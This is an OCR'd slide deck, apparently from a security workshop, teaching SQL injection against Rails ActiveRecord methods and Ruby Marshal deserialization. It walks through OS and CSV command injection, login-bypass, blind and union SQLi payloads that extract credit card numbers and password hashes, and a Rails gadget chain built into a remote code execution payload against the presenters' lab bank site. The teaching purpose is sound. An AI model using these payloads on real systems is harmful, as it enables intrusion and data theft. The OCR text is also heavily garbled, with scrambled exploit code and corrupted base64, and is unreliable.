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* SQL injection
* Fundamentals of Injection Attacks
* ActiveRecord Case Study
 LUNCH / Hands-on Activities
* Hack an Open-source App

 Unmarshalling (deserialization) Vulnerabilities
* What is marshalling?
* The big risk — order of operations
* Gadgets
* Hack-a-long (Reconstructed Commercial Vulnerability)
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Introductions

Mark Hoopes , Heidi Hoopes
* Application Security Consultant for * Ruby Developer/ Engineering

10 years (Enterprise IT before that) Manager
* Recently founded Meristem InfoSec e AP| Evangelist for State of Colorado

(AppSec / NetPen Consultancy)
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Setup: Rails Console

* Navigate to https://replit.com/

* Click "Sign up" (top right)

 Enter Username, Email, and Password

e Search for "ActiveRecordSyntaxPlayground"
* Click "Fork Repl" (top right)

e After clone is complete
e Click "Shell" tab
* Type "rails c"

Any Rails console with a table defined will work!
')



https://replit.com/

Demo — I'm running rails!

irb(main):001:0> puts 'Hello, Rails!’

Hello, Rails!

=> nil

irb(main):002:0> puts 'I'm Mark'

irb(main):003:0" '

SyntaxError: (irb):2: syntax error, unexpected tIDENTIFIER, expecting end-of-input
puts "I'm Mark’

N\

from C:/DevTools/Ruby24/bin/irb.cmd:19:in ~<main>’

” Meristem Information Security 5



The Injection Triangle

Injection Attacks

Evaluation

” Meristem Information Security 6




User Controlled Input

e Usually this will be an HTTP request
parameter.

* [t does NOT have to come from any
user interface.

* In some cases it may be a field that
is saved in one request and
retrieved later.

Evaluation

” Meristem Information Security 7



String Concatenation

* Assembling a command or data

string by piecing fragments together
IS an anti-pattern.

* Languages often have multiple
syntaxes and functions that will
insert a variable into a string.

* They are all vulnerable.

Evaluation

” Meristem Information Security 8



Evaluation

* The problem occurs when the string
is evaluated

* The parser sees a whole string. It has
no information about the source of
different pieces.

* The consequences of the injection are
limited by the originating statement,
the features available in the evaluating
language, and the creativity of the

Evaluation attacker.

” Meristem Information Security 9



Example 1: OS injection

e Consider the following code to log failed sign in attempts to SYSLOG
system("logger 'Failed login for #{params[:user]}'")

* Consider the following "username” submitted by an attacker
Test'; touch /tmp/pwned; echo 'a

* The resulting command would be:
system("logger 'Failed login for Test'; touch /tmp/pwned; echo 'a'")

e The effect will be:

* A SYSLOG message saying "Failed login for Test"
* The file /tmp/pwned will be created
* An 'a' will be written to SYSOUT and probably ignored

” Meristem Information Security 10




Example 2: Excel / CSV Injection

* Many websites allow users to export a table as a comma-separated
value (CSV) file.

 Excel (and LibreOffice) contain formulas that execute operating

system commands.
=CMD| '/C calc.exe'!Al

* If a user downloads an export containing this formula, opens it in
Excel or LibreOffice, AND acknowledges a warning message, the
command will execute.

” Meristem Information Security 11




Example 3: ActiveRecord 'where'

* Consider the following code to check a username and password

User.where("username="#{uname}' AND password='#{pword}'", uname, pword)

* Consider the following "username” submitted by an attacker

Admin'; --

* The resulting SQL statement would be:

SELECT "users".* FROM "users" WHERE username='Admin'; --' AND password=""'

 The effect will be:

* The password clause will become a comment and not limit the select
statement.

* The statement will return the user details for "Admin" and log the attacker in.

” Meristem Information Security 12




Explore the Magic

params = {fname: "test' or 'a'='a

User.where(first _name: params[:fname])

User.where("first_name="'"+params[:fname]+"'")

User.where("first _name = '#{params[:fname]}'")

User.where(:first_name => params[:fname])

User.where("first _name = ?", params[:fname])

O OI0I0I0N0.

query = "first name=""
query += params|[:fname]
quer‘y += mirin
User.where(query)

» Meristem Information Security 13




User.where(first _name: params[:fname])
(::> SELECT "users".* FROM "users" WHERE "users"."first name"
"Weston"]]

$1 [["first_name",

User.where(:first_name => params[:fname])
<::> SELECT "users".* FROM "users" WHERE "users"."first name" = $1 [["first_name",

"Weston"]]
params|[ :payload] = "test' or 'a'='a"
<::> User.where("first name = ?", params[:payload])
SELECT "users".* FROM "users" WHERE (first name = 'test'' or "'a''="'a")

» Meristem Information Security 14



params|[ :payload] = "test' or 'a'='a
(::> User.where("first _name='"+params[:payload]+"'")
SELECT "users".* FROM "users" WHERE (first name='test' or 'a'='a')

query = "first name=""
query += params|[ :payload]
<::> query += "'"
User.where(query)

SELECT "users".* FROM "users" WHERE (first name='test' or 'a’

I
Q
~

<::> User.where("first name = '#{params[:payload]}'")
SELECT "users".* FROM "users" WHERE (first name = 'test' or 'a'='a'")

» Meristem Information Security 15



Go to the source... WHERE Clause

https://github.com/rails/rails/blob/main/activerecord/lib/active_record/relation/query_methods.rb:1290

def build where_clause(opts, rest = []) # :nodoc:
opts = sanitize_forbidden_attributes(opts)

—
«

Enforces the deny list of sensitive model attributes.
case opts

when String, Array
parts = [klass.sanitize_sql(rest.empty? ? opts : [opts, *rest])]
when Hash
opts = opts.transform_keys do |key|
key = key.to_ s
klass.attribute aliases[key] || key

end
references = PredicateBuilder.references(opts)
self.references_values |= references unless references.empty?

parts = predicate_builder.build from_hash(opts) do |table name|
lookup_table _klass_from_join_dependencies(table_name)
end
when Arel: :Nodes: :Node
parts = [opts]

» Meristem Information Security 16




Go to the source... (pt. 2)

https://github.com/rails/rails/blob/main/activerecord/lib/active_record/sanitization.rb

sanitize_sql_for_conditions(condition) Link

Accepts an array or string of SGL conditions and sanitizes them into a valid SGL fragment for a WHERE clause.

sanitize sql for conditions(["name=? and group id=?", "foo'bar", 4])

sanitize sgl for conditions(["name=:name and group id=:group id", name: "foo'bar™, group id: 4])

sanitize sgl for conditions(["name="%s' and group id="%s"", "foo'bar", 4])

sanitize sql for conditions("name="foo' 'bar' and group id='4"")

Also allased as: sanitize_sqf

Source: show | on GitHub

» Meristem Information Security 17




Active Record's Defenses - Summary

* Active Record is designed to use methods for constructing SQL
statements with variables passed to those methods.
* Active Record automatically generates parameterized queries when this
pattern is followed.

* Most gaps come when query logic is seen to be too complex to be
represented using built-in methods.

* In order to support complex query logic some Active Record methods
accept fragments of SQL and incorporate those fragments into the full
statement.

* Even these methods are generally safe if variables are passed properly.

” Meristem Information Security 18




All Glory, Laud, and Honor

The following list of vulnerable methods comes from fine work
presented at https://rails-sqli.org/

Kudos to Justin Collins (aka PresidentBeef)



https://rails-sqli.org/

Vulnerable Methods

o having Likelihood to Contain User Data:
Likely — Accepts a conditional clause
e delete_by * joins
S b Rarely — Accepts column names or
estroy_Doy * lock has complex syntax.
* find_by

* find _or_create by
* find_or_create_by!

e find_or_initialize_by where
* rewhere
e from
e update_all
* group

” Meristem Information Security 20




Exists?

* Generally, exists? accepts a value to be searched for as a primary key

Item.exists?("a")

SELECT 1 AS one FROM "items" WHERE "items"."key" = $1 LIMIT $2 [["key", "a"],
["LIMIT", 1]]

=> true

* But if it receives an array, it uses the first element directly.

ITtem.exists?(["value="apple'"])
SELECT 1 AS one FROM "items" WHERE (value='apple') LIMIT $1 [["LIMIT", 1]]

=> true

» Meristem Information Security 21




Exists? Exploited

* Imagine a website that accepted the following URL

https://example.com/items/exists?key=a

* And passed it to the following code

Item.exists?(params|[:key])

* What would happen if the following URL were used?

https://example.com/items/exists?key[]=1=0) OR (SELECT true from users where
pass_hash LIKE 'a%%'

Item.exists?(["1=0) OR (SELECT true from users where pass hash LIKE "a%%'"])
SELECT 1 AS one FROM "items" WHERE (1=0) OR (SELECT true FROM users where
pass_hash LIKE 'a%')

=> true

» Meristem Information Security 22




"Black Hat" Thinking — What are your goals?

e Gain more access to a system than you are allowed
e Bypass a login screen
e Use unauthenticated features to discover or create credentials

e Gain access to more information than you are allowed

* Access information that requires higher privileged roles
* Access information that belongs to other "tenants" in a shared application

* Harm the targeted system
e Overwrite important data
* Delete all the things

” Meristem Information Security 23




Basic SQL Injection Techniques

* Logic alteration

* Adding True/False clauses
SELECT User.* FROM users WHERE id=42 AND password='wrong' OR 'a'='a’

* Statement termination/Comments
SELECT User.* FROM users WHERE uname='admin'; --' AND password='wrong'

* Chained queries
* *Not supported by most current database drivers
SELECT Article.* FROM articles WHERE title LIKE '%search'; DROP TABLE users;--%'

” Meristem Information Security 24




Rails-Specific Considerations

* Many methods will automatically append a parameterized limit clause
to the query.

* |f the remainder of the query has been commented out through injection, the
qguery will no longer contain a place for the database to use the parameter
and an error will be generated.

* To avoid the error, the injected payload must expect a parameter.

SELECT users.* FROM users WHERE (first name = 'Lemuel'); --' AND pw hash = "")
LIMIT $1  [["LIMIT", 1]]
ERROR: could not determine data type of parameter $1

SELECT users.* FROM users WHERE (first name = 'Lemuel') OR $1!=0; --' AND
pw hash = '") LIMIT $1 [["LIMIT", 1]]
SUCCESS

» Meristem Information Security 25




Your Turn — SQLi Workbook

* Navigate to http://sgliworkbook.meristeminfosec.com/

* Enter a short unique alphabetic string
* Your own database will be created for you to work in

 Select the injectable Rails method

* Examine the query shell that this method uses

* Enter your payload using the previous examples as templates
* View the results of your query

* View the SQL statement the database received

* If (when) you delete data, press the reset button to repopulate the
database.

” Meristem Information Security 26



http://sqliworkbook.meristeminfosec.com/

Workbook Schema

USERS
t.integer "id" ORDERS
t.string "first_name" t.integer "id"
t.string "last_name" t.bigint "user_id", null: false
t.string "email" t.string "credit_card"
t.string "pw_hash" t.datetime "created_at", null: false
t.boolean "is_admin" t.datetime "updated_at", null: false

t.datetime "created_at"

t.datetime "updated_at" ORDER_PRODUCTS
t.integer "quantity"

PRODUCTS t.bigint "order_id", null: false
t.integer "id" t.bigint "product_id", null: false
t.string "name" t.datetime "created_at", null: false
t.string "image_url" t.datetime "updated_at", null: false

t.decimal "cost"
t.datetime "created_at", null: false

t.datetime "updated_at", null: false

” Meristem Information Security 27




Workbook Task 1

Find the first name of the admin user using the
"select" method.




Task 1 Solution

Submit

first_name, is_admin

Generates

SELECT User.first _name, User.is_admin FROM users

Result

#<ActiveRecord: :Relation [#<User id: nil, first _name: "Micheal", is_admin: nil>, #<User id:
nil, first name: "Joan", is admin: nil>, #<User id: nil, first _name: "Rueben", is admin:
nil>, #<User id: nil, first name: "Porsche", is admin: nil>, #<User id: nil, first name:
"Walton", is _admin: nil>, #<User id: nil, first name: "Alton", is_admin: nil>, #<User id:
nil, first name: "Lorriane", is admin: nil>, #<User id: nil, first name: "Jerry", is admin:
nil>, #<User id: nil, first name: "German", is_admin: nil>, #<User id: nil, first name:
"Rheba", is_admin: true>]

» Meristem Information Security 29




Workbook Task 2

Log in (retrieve the user object) as an admin using
"find_by" or "where"




Task 2 Solution

Submit
Rheba') AND $1!=0; --

Generates

SELECT users.* FROM users WHERE (first name = 'Rheba') AND $1!=0; --' AND
pw_hash = '') LIMIT $1

Result

#<User id: 1, first name: "Rheba", last name: "Paucek", email: "rheba@wolf.info", pw_hash:
"SnXsHuDa7BzL9", is admin: true, created at: "2022-05-17 19:06:03.900400000 +0000",
updated at: "2022-05-17 19:06:04.071162000 +0000" >

» Meristem Information Security 31



Advanced SQL Injection Techniques 1

* Blind Injection

* Used when results of the query are not returned, but a behavior can be
caused (success vs error, results vs empty set, quick vs slow response).

* The injected query tests one character of the targeted data at a time, running
through the alphabet (or ASCIl chars) one at a time.

SELECT 1 AS one FROM users WHERE (uname='admin' AND pass _hash LIKE 'a%"')
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Advanced SQL Injection Techniques 2

* Union statements
* Allows data from other tables to be appended to a query

* The query must be written so that the same number of columns are returned
AND so that the data types of each column match.

* Note: NULL "matches" the type of most columns.

SELECT fname, lname, email, zip FROM users WHERE (fname LIKE '%a') UNION SELECT
NULL, email, pass_hash, NULL FROM users; -- %')
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Advanced SQL Injection Techniques 3

* Error Based Injection
e Adding useful information to an error message

SELECT User.* FROM users WHERE id='' and cast((SELECT name FROM users LIMIT 1)
as int) and 'a'='a'’

ERROR: 1invalid input syntax for type integer: "admin"

» Meristem Information Security 34




Workbook Task 3

Find the first letter of the first name of an admin user using blind

injection into the "exists?" method.

” Meristem Information Security 35




Workbook Task 3

Find the first letter of the first name of an admin user
using blind injection into the "exists?" method.




Task 3 Solution

Submit
a') OR ((is_admin = true) AND first_name LIKE 'R

Generates

SELECT 1 AS one FROM "users" WHERE (last _name LIKE 'a') OR ((is_admin = true)
AND first name LIKE 'R%') LIMIT $1

Result

true

» Meristem Information Security 37




Workbook Task 4

Use union injection to read a credit card number from
the orders table using the "where" method.




Task 4 Solution

Submit

') UNION SELECT user_id, credit_card, NULL, NULL, NULL, NULL, NULL, NULL FROM orders WHERE 1!=51; --
Generates

SELECT users.* FROM users WHERE (first name = '') UNION SELECT user_id,
credit_card, NULL, NULL, NULL, NULL, NULL, NULL FROM orders WHERE 1!=$1; --' AND

pw_hash = 'SUBMITTED PASSWORD') LIMIT $1

Result

#<ActiveRecord: :Relation [#<User id: 7, first name: "6759-9018-9476-4512", last name: nil,
email: nil, pw_hash: nil, is_admin: nil, created_at: nil, updated _at: nil>,

and additional records..

» Meristem Information Security
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Testing for SQL injection

* The most efficient method of finding SQL injection is to examine your
code and ensure that the user control data is not passed to Active
Record methods using string concatenation/interpolation.

* Dynamic (web crawlers) and interactive (instrumented) scanners are
also useful to identify locations where the code doesn't do what you
think it does.

* Manual Method
e Send ', ", or % and watch for errors

” Meristem Information Security 40




Real World Example

http://mrhood.meristeminfosec.com

* Four year old code base found on GitHub

* Note: This site has only two working features:
* Login
» Stock Search
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http://mrhood.meristeminfosec.com/

Your Mission

Find the password hash for Prince John

e Password hashes start with $2a$10
* Hints will be given periodically.

* You will have 10 minutes.

0




Target the search field.




Use a union query with five columns.
"Users" contains a "password digest" colum.




The second column is displayed.




IBM') UNION SELECT id, password_digest,NULL,NULL,S1 FROM users
WHERE id=1; --

” Meristem Information Security 46




Go to the Source...

class Api::StocksController < ApplicationController

def index
@stocks = Stock.where("symbol iLIKE '#{params[:query]}%'").limit(6)
render 'api/stocks/index'

end

def show
@stock = Stock.find_by(symbol: params[:symbol].upcase)
render 'api/stocks/show'

end

end

» Meristem Information Security a7




* Use Active Record methods to their fullest to avoid submitting SQL
fragments as method parameters

e Strongly validate all user input
» Especially if that input is going to be incorporated into a query

* Also, if it is going to be incorporated into an HTML page response (defense
against JavaScript injection a.k.a. cross site scripting)

* Really anywhere since data accepted in one application may be processed by
a downstream application that mistakenly assumes it can be "trusted".

” Meristem Information Security
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Unmarshalling Vulnerabilities




What is Serialization/Marshalling?

The process of converting application data (typically complex data

types) into a text representation.

Yvonne
(CEO)
|

Lawrence Carol Tamika
(VP Sales) (ClO) (CFO)

Charla

BN

(CISO)

B Elisha
(VP Dev)

["Yvonne", "CEQ", [
["Lawrence", "VP Sales", nil],
["Carol", "CIO", nil], [

["Charla", "CISQ", nil],
["Elisha", "VP Dev", nil]
],

["Tamika", "CFQO", nil]]

]
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Ruby's marshalling protocol

org = ["Yvonne", "CEO", [["Lawrence", "VP Sales", nil], ["Carol", "CIO", nil],
[["Charla", "CISO", nil],["Elisha", "VP Dev", nil]],["Tamika", "CFO", nil]]]

Marshal.dump(org)

=> "\x04\b[\bI\"\vYvonne\x06:\x06ETI\"\bCEO\x06;\x00T[\t[\bI\"\rLawrence\x06;
\X00TI\"\rVP Sales\x06;\x00TO[\bI\"\nCarol\x06;\x00TI\"\bCIO\x06;\x00TO[\a
[\bI\"\vCharla\x06;\x00TI\"\tCISO\x06;\x00TO[\bI\"\VvElisha\x06;\x00TI\"\vVP
Dev\x06;\x00TO[ \bI\"\vTamika\x06;\x00TI\"\bCFO\x06;\x00T0"

* Binary objects i.e. contain unprintable (and printable) characters
e Starts with the version number: 0x040b = 4.8 (hasn't changed recently)
» Uses typecodes to indicate the type of the object that follow

* Captures object DATA not METHODS
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Base64 Encoding

e Sending binary objects via the HTTP protocol can be...unpredictable
* Baseb4 encoding ensures that only HTTP safe characters are used.

\x04\b[\bI\"\vYvonne\x06:\x06ETI\"\bCEO\x06;\x00T[\t[\bI\"\rLawrence\x06;
\X00TI\"\rVP Sales\x06;\x00TO[\bI\"\nCarol\x06;\x00TI\"\bCIO\Xx06;\x00TO[ \a
[\bI\"\vCharla\x06;\x00TI\"\tCISO\x06;\x00TO[\bI\"\VElisha\x06;\x00TI\"\vVP
Dev\x06;\x00TO[ \bI\"\vTamika\x06;\x00TI\"\bCFO\x06; \x00T0

v

BAhbCEkiC112b25uZQY6BkVUSSIIQOVPB]jSAVFsIWwhIIgIMYXdyZW5jZQY7AFRIIgIWUCBTYWX1cwY7
AFQwWWwhJIgpDYXJvbAY7AFRIIghDSU8GOWBUMF sHWwhJIgtDaGFybGEGOWBUSSIJQO1TTwY7AFQwWwh3J
IgtFbGlzaGEGOWBUSSILV1AgRGV2BjsAVDBbCEkiC1RhbW1lrYQY7AFRIIghDRk8GOwWBUMA==
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Unmarshalling order of operations

1.
2.
3.
4.

Text representation is received by the application.
The application calls Marshal.load(data)
The Ruby marshal method parses the data received.

Ruby instantiates the objects and sets their values as described in
the data.

Ruby returns the instantiated object.
6. The application receives the object and can now act on it.

4
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Deserialization/Unmarshalling Gadgets

* A "gadget" is an object or series of objects that can be arranged to
execute DATA as CODE during instantiation.
 Some gadgets trigger at other lifecycle events (e.g. destruction) but these
often give the application code at least a chance to detect an attack.

* Any class/object that exists in the server's libraries (and that can be
marshaled) can be used in a gadget.
e Standard Ruby libraries
e Standard Rails libraries
e Custom application libraries
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Unmarshalling...what could go wrong?

* ERB is a templating library with built in code parsing capability
* The library contains an instance variable class that may contain pure Ruby code.
* The code is executed when the "result" method is called on this class.

* The ActiveSupport library contains a feature where a method can be called
when a "deprecated" variable is accessed.

* We can set the "result" method to be triggered when the "result" variable is
accessed, which it is during unmarshalling.

 Combining these objects, attacker provided code will be executed when
the object is unmarshalled

* Fixed in Ruby 2.7.0 (Mar 2019) by preventing serialization of ERB

https://lab.wallarm.com/exploring-de-serialization-issues-in-ruby-projects-801e0a3e5a0a/
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https://lab.wallarm.com/exploring-de-serialization-issues-in-ruby-projects-801e0a3e5a0a/

Exploit Code

require "base64", require "erb"
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
def initialize(instance, method)
@instance = instance
@method = method

) @deprecator =
ActiveSupport: :Deprecation.new

end
end
end
end

erb = ERB.allocate
erb.instance variable set

depr = .
ActiveSupport: :Deprecation
iableProxy.allocate
depr.instance variable set
depr.instance variable set
depr.instance variable set

depr.instance_variable_set
ActiveSupport: :Deprecation

ayload =

puts payload

:@src, "%x(whoami);"

: :DeprecatedInstanceVvar

:@instance, erb
:@method, :result
:@var, "@result"

:@deprecator,
.hew

ase64.encode64(Marshal.dump(depr)).gsub("\n",

56
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Other Ruby Unmarshalling Gadgets

 Recent — Chains 7 classes to achieve execution

* https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-
gadget-on-rails.md

* Ruby 2.x-3.0.2 Gadget Chain by Elttam and Vakzz (2021)

* https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-
3-x.html

* https://www.elttam.com/blog/ruby-deserialization/

* MemCacheStore and RedisCacheStore (CVE-2020-8165, 2020)

e Rails<5.2.5,<6.0.4
* https://groups.google.com/g/ruby-security-ann/c/OEWeyjD7NHY?pli=1
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Reenactment of a Real World Vulnerability

* The following activity was real.

* The name of the site (and language) have been changed to protect
the innocent (and be appropriate for RailsConf).

Marshal Bank & Trust




Hack Along - Target

* Navigate to http://marshalbank.meristeminfosec.com/

* Click on "Register your Online Account"

Marshal Bank & Trust

I
e

Meristem Information Security


http://marshalbank.meristeminfosec.com/

Hack Along — Developer Tools

* Press F12 or Ctl-Sft-1 or Select Developer Tools from the menu.
* Select the "Network" tab. o8

53

\_:-? E‘ |||". = B Dockto Bottom
(D Dockto Right
’ (D Dockto Left
< More tools
I v [A Separate Window I
Customize tocolbar... Hide Split Console  Esc
3} Settings F1

Browser tools .
Documentation,.

Web Developer Tools Ctrl+Shift+1 I Community...

Task Manager

@& Developer Tools — Marshal Bank & Trust — http://marshalbank.meristerninfosec.com/
Remote Debugging

aao

w nspector 2 onsale ebugg Netwark tyle Editor 41 Performance emany torage A Accessibility 258 Application
O O Insp (] Console [ Debuggdr T4 N k- 4} Style Edi () Perf Lk Memaory Storag bility ppl
Browser Console Ctrl+Shift+]
'@' I a ® All HTML C55 IS XHR Fonts Images Media WS C
Responsive Design Mode Ctrl+Shift+M
« Perform a request or Reload the page to see detailed information about network activity.
Eyedropper

+ Click on the button to start performance analysis.
Page Source Ctrl+U o P ) @

Extensions for developers
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Hack Along — Complete the Registration

* Fill in random data in each field until you reach the "Code Confirmed"
page.




Hack Along — Examine Confirm Request

* On the Network Tab of the Developer tools, find the POST to the URL
/confirm

W I aQ ® Al
Status  Met.. Domain File Initiator  Type Transferred Size a
GET # marshalbank.m... register include... html 3.54 KB 2,30 KB

GET # marshalbank.m... includes.js7v=35a79b300ab5afa%7! applica... js cached 0B

GET ¥ marshalbank.m... vendor.,jsiv=35a79b300ab5afa%78¢ include... js cached 0B

POST & marshalbank.m... results include...  json 3.17 KB 3.10 KB
POST A marshalbank.m... register docum...  html 4,83 KB 3.61 KB

GET £ marshalbank.m... application-3dd0dc24d9c39b o922 script js cached 0B

GET £ marshalbank.m... includes,js7v=35a79b300ab5afa%7! script js cached 0B

GET # marshalbank.m... favicon.ico Favicon.. wnd... cached 0B

GET £ marshalbank.m... vendor,jsTv=35a79%b300ab5afa%78¢ include... js cached 0B

POST & marshalbank.m... results include... json 3.56 KB 349 KB

ﬂ marshalbank.m... confirm .- 276 KB

GET ¥ marshalbank.m... application-3dd0dc24d9c39b o992z script is cached 0B

GET ¥ marshalbank.m... includes.js7v=35a79b300ab5afag97i script is cached 0B

GET # marshalbank.m... favicon.ico Favicon... wnd... cached 0B

GET # marshalbank.m... vendor,jsiv=35a79b300ab5afa%78¢ include... js cached 0B

[ 20 | POST ¥ marchalhank m raziilts inchrs isnn F16 KR 20 KR bl
(0]

16 requests 17,13 KB/ 21,02 KE transferred Finish: 11,87 s DOMContentLloaded: 91 ms load: 97 ms
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Hack Along — Examine POST Parameters

* On the Network Tab of the Developer tools, find the POST to the URL
/confirm

[fl Headers  Cookies  Request  Response  Timings

Farm data Raw

confirm[user]: "BARvOgIVe2VyEDo QOGS A1 9 ZWHNvemEUOhBAYXROcmlidXRIc286HKFd G2
WZUWZGYsOjpBdHRya W dGVT 206 Owd 7 COkIB2 Ik Bjo GRVREvDHIBY3 Rpdmi M

b 2RIbDoeCXRIcmlidXRICjpGomStRGFIYWIh2UKO gpasbmAZUAIChxAdmFs

YR d WYY mb 33 R5 cGVIY2Fzd DAGCKEDeXBlbzp FOWMNOaXZIUmYjb3 kOjpD

I
I
Wb 25uZWHNIaWIUOWRACHRICcNMEBOINRTGIOZT NEZGFwd GVyOip TUUxpd GUZSWSD
I
I
I

YrnZWdlegkeDOBwemjaXMNpb 24w O gtic2Nhb GUwO gtib GltaXCwOgtdemFuZ 2V
YR gpSYWISNZOge WA 2xU O gpiZW dpbmwtC AAAN
WrnAsAAgDoYOGSyaWdpbmFsX2F0dH) pYnVOZTASCOEZY W1 ZTBIIhMNhY2 Mwd W50
FOdHIpYnWOZUId GhwZHMEODIRp bWhab 25102590
wrvndmyyc2ivbjosV GIEEYpvbmyD b2 522X 0K b CTalX 1 92 MISTWwEb AGSEIUF)
WndGI2ZVIV2 Sy ZDoeVHIWZToERGFIZVRp b WUl Owdp Czs OMDsRMDsXMDsYMEK
LN D3V WE G FODWRANOG 0wl bzs KCjsLQCY 7D DATDVUTHY s OxS b AFs AQCUTFzAT
W GDARFOBRCI MW 2Ihd G Ivb I3 WN o ZX s AOhFACH) pbWRyeVarZXIACDoOQHI
I
I
I
I

WO YWRybmxSEjobOHEy 2 Zpb3VzbHIFhmY 3 X 3)IY 29y Z EYEDOBK XM Icm 95 IWR.G

RO hea b WRya 2V 2Zvd SkZENOocnYjd Glvb kYeHKBKZX MO cm S5 ZWRYRIFY XMz
Yrnb2MNpYERpb 24w h S A MOV DG Ry YW Sz WM IaWSuX S NOYERIMD o UCGHMJemlj
WrndFesbh2FkaWsnRg=="'rn

confirm[confirmation_code]: "123

commit: “sSubmit+Confirmation+Code
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Hack Along — Payload Creation 1

e Go to your Replit (or your local Rails env.) and create a new file.

— @ 'j L / ActiveRecordSyntaxPL.. <  ¥©)

Files B E No files open

—Eg L) -EILIEIE e Add file A
]

(¥ .ruby-varsion

[ config.ru
main.rb

[™ Rakefile

M: README.md

buildexplnit.rH

Gemfile

Gemfile lnck W

? CPu RAM Storage

Fat
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Hack Along — Payload Creation 2

e Copy the 2022 exploit from
https://github.com/httpvoid/writeups/blob/main/Ruby-
deserialization-gadget-on-rails.md#latest-rails-remote-code-
execution-gadget

ANOTNET smMall TEqUITEMENT Was5, Thal CONSIIUCTOT OT Sprockets: iLontext Cldass dlso required metadata KEY 10
Latest Rails Remote Code Execution Gadget

require "rails/all’
require "basefd’
Gem: :SpecFetcher
Gem: :Installer

require "sprockets’
class Gem::Package::TarReader
end
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Hack Along — Payload Creation 3

* Paste the code into the new buildexploit.rb file.
/ ActiveRecordSyntaxPL.. <  ¥U)

. buildexploit.rb =
Files & '@® P

[ERTT R

reguire 'rails/all’

reguire 'base64’
storage Gem: :SpecFetcher
test Gem: :Installer
tmp 6 require 'sprockets’
vendor s Gem: :Package: :TarReader

.gitattributes

gitignore d f Hack::ﬂezp?nse.allﬂcate _
d.instance_variable_set(:@buffered, false)

.ruby-version

do=Rails::Initializable::Inittilalizer.allocate

d®.instance_variable_set(:@context,Sprockets::Cont

config.ru ext.allocate)

buildexp... :

> O
> O
> 0
> 0
D
D
B
&
D
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Hack Along — Payload Creation 4

* In line 17, replace "touch /tmp/pwned.txt" with your payload

d1=Gem::Security::Policy.allocate
dl.instance variable set(:@name,{ :filename =>"/tmp/xyz.txt", :environment
=>d0 , :data => "<%= "touch /tmp/pwned.txt” %>", :metadata => {}})

e Use:

touch /opt/bankmarshall/public/[yourname]
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Hack Along — Payload Creation 5

* In the shell tab, run

bundle exec ruby buildexploit.rb

Console Shell Markdown

~/ActiveRecordSyntaxPlayground$ bundle exec ruby buildexpli fj
BAhVO1xBY3RpdmVSZWNvcm60kFzc 29 aWFdawWduczo60QXNzb2NpYXRpb2L. .
B286E0d LbTo65W52dGF sbGVyAGBEHEd LbTo6UGF ja2FnZTobVGFyUmVhZGVy
BjoIQGLvbzoUTmVO0jpCdWZmZXI1ZE1PBzsIbzojR2ZVE0jpQYWNrYWd10jpU
YXISZWFkZXI60kVudHIS5BzoKQHI LYWRpBZzoMQGh LYWR1 ckk LCWI1YmIGOgZF
VDoSQGRLYNVNnX291dHB1dG86COxvZ2d1lcgYEDEBsb2dkZXZvOhNSYWNrojps
ZXNwb252Z0a6DkBLdWZmZXI1ZEY6CkB1b2R5bzoIU2VOBjoKQGhhc 2h9BmB6

Gkd1bTo6U2VjdXJpdHk601BvhbG1 jeQY6CKBUYW1 lewkbDWZpbGVUYWLLSSIR
L3RtcC94eXoudHhOB j sNVDoQZW52aXIvbm1lbnRv0O1ZSYWlsczo65W5pdGlh
bGL6YWIsZTo6SWSpdGLhbGL6ZXIG0g1AY29udGV4dGBEF INwCcm9 ja2Veczob
029udGV4dAAGCWRhAGFII1I8ITOQYGV jaG8gY3dkID4gL3RtcCIDZXNOYCAL
PgY7DVQ6DW11dGFKYXRhewBUR joMQHdyaXR1cmB86HFNwem9 ja2V@czo6RVIC
UHIVY2VZC29yAA==

~/ActiveRecordSyntaxPlayground$ |
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Hack Along — Payload Creation 6

 We don't want the newlines inserted by puts.
* Paste the payload into a text editor and remove them.

| *Untitled - Motepad — O >
File Edit Format View Help

BAhVOixBY3RpdmVSZWNvemQ60kFzc29jalWF@alWuczob6QXNzb2NpYXRpb25bB286EAd1bTo65W5zdGFsbGYyAGE6
HEd1bToBUGFja2FnZTobVGEFyUmVhZGVyBjoIQGlvbzoUTmVB0jpCdWimZXI1ZEIPBzsIbzojR2VEO]pQYWNrYWd1
DijYX]SZHFkZXIEDkUudH]SEzDKQH]lYHRpEzOMQGleHRlckkiCH]iYmIGDgZFMDOSQGRlYanXEQldHEldGEE
COxvZ2dlcgY6DEBsb2dkZXZvOhNSYWNrOjpS
ZXMNwb25z7Qg6DkBidWZmZXI17ZEY6CkBib2R5bzoIU2VEE jokQGhhc2h9BmE6
Gkd1bTo6U2VjdXJpdHk601BvbGljeQYoCkBuYWllewk6DWZpbGVUYWL1SSIR
L3RtcC94eXoudHhBBjsNVDoQZW52aXIvbmllbnRv0iZSYW]lsczobSWSpdGlh
bGleYWIsZToe5SWS5pdGlhbGl6ZXIG0g1AY29udGVAdGEEF1NWem9ja2Vlczob
029udGVAdAAGCWRhdGFITIJE&ITOsYHRvdWNoIC9vcHQvYmFua2 lhenNoYhxs
L3B1YmxpYy9tYXIrYCAlPgY7DVQ6DW11dGFkYXRhewBUR joMOHdyaXR1cm86

HFMNwemS3a2VB8czo6RVICUHIvY 2Wzc29yAA==
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Hack Along — Exploit 1

* In Developer Tools, highlight the confirm request and select
"Copy"->"Copy as Fetch"

GET ¥ marshalbank.m... vendor js?v=35a79b300ab5afad78¢ include... js cached 0B
POST & marshalbank.m... results include... json  3.56 KB 3.49 KB
ﬂ' marshalbank.m...
GET & marshalt Copy »  CopyURL ped 0B
GET & marshalt Save All As HAR Copy POST Data ped 0B
GET & marshalt hed 0B
Copy as cURL (Windows)

GET  # marshaly Resend Py ped 0B
[opa] PST ¥ marchalt  Edit and Resend Copy as cURL (POSIX] i kR 34 KR
G} 16 requests 17131 | ms load: 97 ms
Black URL Copy as Fetch I

Open in New Tab Copy Request Headers
Start Performance Analysis... Copy Response Headers
Uze as Fetch in Console Copy Response

Copy All As HAR
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Hack Along — Exploit 2

* In the Console tab of the Devloper Tools, paste the command

@& Developer Tools — Marshal Bank & Trust — http://marshalbank.meristeminfosec.com/confirm
G' O Inspector Conzole [ Debugger T~L Metwark {} Style Editor m Performance 303 Mermaory E Storage 'ﬁ' Accessibility §§§ Application
'@' Errors Warnings Lo

¥ await fetch({"http://marshalbank.meristeminfosec.com/confirm™, {
“credentials™: "Include”,
"headers™: {
